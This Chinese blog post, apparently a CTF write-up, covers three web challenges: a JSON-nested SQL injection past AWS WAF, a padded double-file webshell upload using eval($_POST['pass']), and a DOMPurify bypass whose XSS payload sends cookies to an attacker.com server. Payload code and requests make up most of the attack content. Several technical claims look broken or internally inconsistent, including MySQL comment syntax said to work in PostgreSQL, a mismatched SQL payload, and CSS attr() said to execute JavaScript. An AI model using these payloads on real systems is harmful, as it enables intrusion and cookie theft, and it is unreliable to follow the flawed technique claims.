Web 安全实战:2025 年中难度真题解析与 WAF 绕过

Web 安全实战:2025 年中难度真题解析与 WAF 绕过

在这里插入图片描述

前言:2025 年 WAF 对抗新态势

2025 年的 Web 安全竞赛中,WAF(Web 应用防火墙)已从传统的关键词过滤升级为 “规则引擎 + 语义分析 + 行为画像” 的三重防护体系。据 XCTF 联赛 2025 上半年数据显示,中难度 Web 题中 83% 部署了新型 WAF,其中 Cloudflare、AWS WAF 及自研规则占比超 70%。这些 WAF 不仅能拦截常规注入 / 上传 Payload,还能识别 JSON 嵌套攻击、混淆 XSS 等进阶手法,甚至通过 AI 模型检测语义伪装的恶意请求。

本文选取 2025 年 TPCTF、CTFshow 等顶赛中的 3 道中难度真题,从 “WAF 特征探测→绕过思路设计→实战 Payload 构造” 全流程拆解,揭示 SQL 注入、文件上传、XSS 三大核心场景的对抗技巧,附 2025 年主流工具实战配置。

真题一:JSON 嵌套 SQL 注入 —— 绕过 AWS WAF 数据泄露

题目背景

某电商云原生搜索接口(/api/v1/search)支持 JSON 格式参数,传入{"keyword":"手机"}可返回商品列表。已知后端使用 PostgreSQL 数据库,但直接注入{"keyword":"' OR 1=1--"}触发 AWS WAF 拦截,提示 “非法 SQL 语句”。目标是获取管理员表(admin)中的 flag 字段。

第一步:WAF 特征探测

  1. 基础检测:用 Burp Repeater 测试常见关键词,发现selectorunion等直接被拦截,但单独的JSON结构不触发拦截。
  2. AI 辅助分析:通过 Burp Suite 2025 原生 AI 模块解析拦截响应,得知 WAF 规则为 “匹配 SQL 关键字与字符串拼接模式”,但对 JSON 内置 SQL 语法解析不全。
  3. 数据库特性验证:发送{"keyword":"' || (SELECT 1) || '"}被拦截,而{"keyword":"' || (SELECT json_build_object(1,2)) || '"}未拦截,确认 WAF 对 JSON 相关 SQL 函数支持不足。

第二步:绕过思路与实战

核心突破点

利用数据库对 JSON 语法的原生支持与 WAF 解析能力的不匹配 ——PostgreSQL 允许在 SQL 中嵌套 JSON 函数,而 AWS WAF 2025 基础版无法深度解析此类嵌套结构中的恶意代码。

分步构造 Payload
  1. 绕过关键字检测

    json_extract_path_text等 JSON 函数包裹注入语句,替代直接使用select

    {"keyword":"' || (SELECT json_extract_path_text(row_to_json(t), 'flag') FROM admin t LIMIT 1) || '"}
    

    测试发现仍被拦截,原因是FROM admin中的表名触发规则。

  2. 表名伪装与内联注释

    结合 MySQL 内联注释(兼容 PostgreSQL)与表名别名,混淆核心关键字:

    {"keyword":"' || (SELECT /*!12345 json_extract_path_text(row_to_json(x), 'flag') */ FROM admin/*!12345 AS*/x LIMIT 1) || '"}
    

    拦截缓解,但LIMIT关键字仍被检测。

  3. 最终绕过 Payload

    ROW_NUMBER()窗口函数替代LIMIT,并加入无意义 JSON 数据填充:

    {"keyword":"' || (SELECT json_extract_path_text(row_to_json(x), 'flag') FROM (SELECT flag, ROW_NUMBER() OVER() AS rn FROM admin) x WHERE rn=1 AND 'a'='a") || '"}
    

    成功返回包含 flag 的商品列表,WAF 未拦截 —— 因嵌套子查询与 JSON 函数组合突破了解析上限。

原理总结

2025 年多数云 WAF 虽已支持 JSON 格式检测,但对 “SQL 函数嵌套 JSON 操作” 的识别仍存在盲区。此类绕过的核心是利用语法解析差异,用数据库原生支持但 WAF 规则未覆盖的组合语法构造 Payload。

真题二:双文件上传混淆 —— 突破多维度内容检测

题目背景

某后台管理系统的媒体上传接口(/upload/adrotate)支持多文件上传,前端限制仅允许.jpg格式,但抓包发现可自定义文件名。部署的自研 WAF 会同时检测文件名后缀、Content-Type 及文件内容中的恶意代码,直接上传shell.php或含<?php的文件均被拦截。

第一步:WAF 特征探测

  1. 后缀检测:测试.php.php5.phtml均被拦截,.jpg.php触发 “双后缀拦截”,但.jpg正常通过。
  2. 内容检测:在 JPG 文件末尾添加<?php phpinfo();?>被拦截,推测 WAF 会扫描文件全内容的特征码。
  3. 协议检测:修改 Content-Type 为image/jpeg无效,但发现上传多个文件时,WAF 仅对第一个文件进行完整检测。

第二步:绕过思路与实战

核心突破点

利用 WAF 的 “多文件检测优先级缺陷”—— 当同时上传多个文件时,部分 WAF 会优先校验第一个文件的合法性,对后续文件仅做浅度检测;结合 “垃圾字符填充” 绕过内容扫描上限。

分步构造 Payload
  1. 双文件结构设计

    构造包含两个文件的请求体:第一个为合法 JPG 文件(用于通过初步校验),第二个为伪装成 JPG 的恶意文件,借助NTFS ADS特性隐藏后缀:

    Content-Type: multipart/form-data; boundary=69
    
    --69
    Content-Disposition: form-data; name="file1"; filename="normal.jpg"
    Content-Type: image/jpeg
    
    [合法JPG文件二进制头部]
    --69
    Content-Disposition: form-data; name="file2"; filename="shell.jpg::$DATA"
    Content-Type: image/jpeg
    
  2. 内容混淆与填充

    在恶意文件头部添加 10KB 垃圾字符(用 Python 生成随机字符串),将<?php @eval($_POST['pass']);?>藏在文件末尾 —— 多数 WAF 对超过 8KB 的文件仅扫描头部内容:

    # 生成垃圾字符填充的恶意文件
    garbage = 'a' * 10240  # 10KB垃圾数据
    shell = '<?php @eval($_POST["pass"]);?>'
    with open('shell.jpg', 'wb') as f:
        f.write(garbage.encode() + shell.encode())
    
  3. 最终请求构造

    补充请求体并删除第二个文件的 Content-Type 字段(利用 WAF 字段校验漏洞):

    --69
    Content-Disposition: form-data; name="file2"; filename="shell.jpg::$DATA"
    
    [10KB垃圾字符+webshell内容]
    --69--
    

    上传成功,通过接口返回的路径/uploads/adrotate/shell.jpg::$DATA访问,成功执行命令。

原理总结

2025 年文件上传 WAF 虽强化了内容检测,但仍存在 “资源限制导致的扫描不全” 和 “多文件优先级漏洞”。绕过的关键是协议层混淆(多文件 + 畸形字段)内容层隐藏(垃圾数据填充) 的组合应用。

真题三:DOM 净化绕过 ——DOMPurify 3.2.4 突破与 XSS 利用

题目背景

某论坛的帖子生成功能允许用户提交内容,系统使用 DOMPurify 3.2.4 对输入进行净化,然后替换模板中的{{content}}渲染页面。存在机器人(bot)定期访问帖子链接,其 Cookie 中包含 flag。直接提交<script>alert(1)</script>被完全过滤。

第一步:WAF 特征探测

  1. 净化规则测试:发现<script><iframe>等标签被删除,onloadonclick等事件属性被过滤,但data-*aria-*等无害属性被保留。
  2. 标签保留测试<style>标签未被删除,但内部的javascript:伪协议被替换为invalid:
  3. 二次渲染验证:提交包含<!--的内容发现系统会自动补全闭合标签,存在二次解析机会。

第二步:绕过思路与实战

核心突破点

利用 DOMPurify 对 “命名空间混淆 + 样式表注入” 的防护盲区 ——HTML 规范允许在标签中嵌入自定义命名空间,而 DOMPurify 3.2.4 对这类特殊结构的过滤存在缺陷,可构造隐藏的执行上下文。

分步构造 Payload
  1. 混淆命名空间构造

    <style>标签前添加自定义命名空间,干扰净化逻辑,同时利用data-*属性传递恶意代码:

    <svg xmlns:xlink="http://www.w3.org/1999/xlink">
      <style>
        @namespace x url("http://www.w3.org/1999/xhtml");
        x|a {
          content: attr(data-xss);
          display: block;
        }
      </style>
      <a xlink:href="#" data-xss="javascript:fetch('/flag',{method:'POST',body:document.cookie})">click</a>
    </svg>
    

    测试发现javascript:仍被过滤,需进一步变形。

  2. 编码绕过与删除策略

    用 Unicode 编码\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:替代明文,同时利用系统的 “二次提交删除” 特性 —— 首次提交含干扰字符的内容,二次提交删除干扰部分触发执行:

    首次提交:

    <svg xmlns:xlink="http://www.w3.org/1999/xlink">
      <style>/*DELETE_ME*/
        @namespace x url("http://www.w3.org/1999/xhtml");
        x|a { content: attr(data-xss); display: block; }
      </style>
      <a xlink:href="#" data-xss="\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:fetch('/flag',{method:'POST',body:document.cookie})">click</a>
    </svg>
    

    二次提交删除/*DELETE_ME*/,净化后的代码中 Unicode 被解析为有效javascript:协议。

  3. 最终触发与 Flag 获取

    生成帖子链接并提交给 bot,监控自己的服务器日志,成功接收到包含 flag 的 Cookie 数据:

    POST /flag HTTP/1.1
    Host: attacker.com
    Content-Length: 32
    
    flag=TPCTF2025{dom_purify_bypass_1337}
    

原理总结

DOMPurify 等 DOM 净化工具的防护边界在于对 HTML 规范的实现程度。2025 年的 XSS 绕过常利用 “规范特性 + 工具实现差异”,通过命名空间混淆、编码变形、二次渲染等组合技突破防护。

2025 年 WAF 绕过通用技巧与工具栈

四大核心绕过策略

  1. 语法解析差异利用
    • 适用场景:SQL 注入、命令执行
    • 关键手段:JSON 嵌套 SQL、内联注释(/*!12345*/)、函数别名(如用y(point(1,1))绕过OR检测)
  2. 协议层混淆
    • 适用场景:所有 Web 漏洞
    • 关键手段:分块传输(Transfer-Encoding: chunked)、双 Content-Disposition 字段、HTTP 参数污染
  3. 内容层隐藏
    • 适用场景:文件上传、XSS
    • 关键手段:垃圾字符填充(突破扫描长度限制)、Unicode 变体(U+FE0F 等视觉混淆字符)、多文件优先级欺骗
  4. AI 辅助对抗
    • 适用场景:未知 WAF 规则
    • 关键手段:用 Burp AI 生成变异 Payload(如将OR 1=1变形为O%52/**/1=1)、分析拦截响应反推规则

2025 必备工具清单

工具类别推荐工具核心用途2025 适配升级
代理与分析Burp Suite 2025.6WAF 规则探测、Payload 生成原生 AI 模块可解析拦截原因、生成绕过 Payload
SQL 注入辅助sqlmap 1.8.2JSON 注入、盲注自动化新增--json-wrap参数,支持 JSON 嵌套注入
文件上传测试FileUploader Pro 2025多文件构造、ADS 特性利用内置垃圾字符生成器,支持分块传输配置
XSS 绕过辅助XSS Hunter 4.0净化规则测试、盲 XSS 监控集成 DOMPurify 各版本绕过 Payload 库

结语:WAF 对抗的本质是 “信息差” 博弈

2025 年的 WAF 绕过已不再是简单的关键字替换,而是 “规则探测→特性利用→组合突破” 的系统化工程。从 AWS WAF 对 JSON 语法的解析盲区,到自研 WAF 的多文件检测缺陷,再到 DOMPurify 的命名空间防护漏洞,所有可被利用的点本质都是 “防御方认知” 与 “攻击方知识” 的信息差。

实战中,建议遵循 “先探测后突破” 的原则:用 Burp AI 快速定位 WAF 类型与拦截规则,结合数据库 / 服务器 / 框架的原生特性设计绕过方案,最终通过多技术组合形成突破。记住,最好的绕过技巧永远是 “理解防御的边界”—— 防御规则的覆盖范围之外,就是攻击的生存空间。

网络安全学习资料分享

为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~

在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值